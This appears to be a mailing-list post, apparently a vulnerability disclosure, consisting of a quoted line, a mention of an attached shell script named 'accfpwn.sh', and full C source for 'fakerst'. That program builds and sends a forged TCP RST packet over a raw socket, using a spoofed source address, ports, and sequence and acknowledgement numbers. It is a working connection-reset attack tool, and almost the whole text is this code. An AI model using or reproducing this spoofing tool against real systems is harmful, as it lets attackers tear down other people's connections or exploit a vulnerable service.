> (*) Attached is [...] it hopefully now.
Attachment:
accfpwn.sh
Description: Bourne shell script
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <err.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
// for checksumming
struct psd_tcp
{
struct in_addr src;
struct in_addr dst;
uint8_t pad;
uint8_t proto;
uint16_t tcp_len;
struct tcphdr tcp;
} __packed;
uint16_t
in_cksum(uint16_t *addr, int len)
{
int nleft = len;
int sum = 0;
uint16_t *w = addr;
uint16_t answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(uint8_t *)&answer = *(uint8_t *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
uint16_t
in_cksum_tcp(uint32_t src, uint32_t dst, uint16_t *addr, int len)
{
struct psd_tcp buf;
u_short ans;
memset(&buf, 0, sizeof(buf));
buf.src.s_addr = src;
buf.dst.s_addr = dst;
buf.pad = 0;
buf.proto = IPPROTO_TCP;
buf.tcp_len = htons(len);
memcpy(&(buf.tcp), addr, len);
ans = in_cksum((uint16_t *)&buf, 12 + len);
return (ans);
}
void
mkipv4hdr(struct ip *d, const char *fromip, const char *toip, size_t paylen, int proto)
{
d->ip_hl = 5; /* header length */
d->ip_v = 4; /* version */
d->ip_tos = 0; /* type of service */
d->ip_len = 20+paylen; /* total length */
d->ip_id = 0; /* identification */
d->ip_off = 0; /* fragment offset field */
d->ip_ttl = 64; /* time to live */
d->ip_p = proto; /* protocol */
inet_pton(AF_INET, fromip, &d->ip_src.s_addr);
inet_pton(AF_INET, toip, &d->ip_dst.s_addr);
d->ip_sum = in_cksum((uint16_t *)d, sizeof *d);
}
void
mktcphdr(struct tcphdr *d, uint16_t fromport, uint16_t toport, uint32_t seq, uint32_t ack, uint8_t flags)
{
d->th_sport = htons(fromport); /* source port */
d->th_dport = htons(toport); /* destination port */
d->th_seq = htonl(seq); /* sequence number */
d->th_ack = htonl(ack); /* acknowledgement number */
d->th_x2 = 0; /* (unused) */
d->th_off = 5; /* data offset */
d->th_flags = flags;
d->th_win = htons(8192); /* window */
d->th_urp = 0; /* urgent pointer */
}
void
mksockaddr_in(const char *ip, uint16_t port, struct sockaddr_in *dst)
{
errno = 0;
int r = inet_pton(AF_INET, ip, &dst->sin_addr);
if (r == 0)
errx(1, "illegal ipv4 string '%s'", ip);
if (r < 0)
err(1, "inet_pton");
dst->sin_family = AF_INET;
dst->sin_port = htons(port);
}
// usage: fakerst <sender addr> <sender port> <receiver addr> <receiver port> <seq no> <ack no>
int
main(int argc, char **argv)
{
const char *fromip = argv[1];
uint16_t fromport = (uint16_t)strtoul(argv[2], NULL, 10);
const char *toip = argv[3];
uint16_t toport = (uint16_t)strtoul(argv[4], NULL, 10);
uint32_t seq, ack;
seq = (uint32_t)strtoul(argv[5], NULL, 10);
ack = (uint32_t)strtoul(argv[6], NULL, 10);
int sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sck == -1)
err(1, "socket");
int hincl = 1;
if (setsockopt(sck, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) == -1)
err(1, "setsockopt");
uint8_t pkgbuf[512];
struct ip ip;
struct tcphdr tcp;
memset(&ip, 0, sizeof ip);
memset(&tcp, 0, sizeof tcp);
mktcphdr(&tcp, fromport, toport, seq, ack, 4);
mkipv4hdr(&ip, fromip, toip, 20, 6);
tcp.th_sum = in_cksum_tcp(ip.ip_src.s_addr, ip.ip_dst.s_addr, (unsigned short *)&tcp, sizeof(tcp));
memcpy(pkgbuf, &ip, 20);
memcpy(pkgbuf+20, &tcp, 20);
struct sockaddr_in sa;
memset(&sa, 0, sizeof sa);
mksockaddr_in(toip, toport, &sa);
// for (int i = 0; i < 40; i++) {
// printf("%02hhx ", pkgbuf[i]);
// if (i % 4 == 3)
// puts("");
// }
// puts("");
if (sendto(sck, pkgbuf, 40, 0, (struct sockaddr *)&sa, sizeof sa) < 0)
err(1, "sendto");
close(sck);
return 0;
}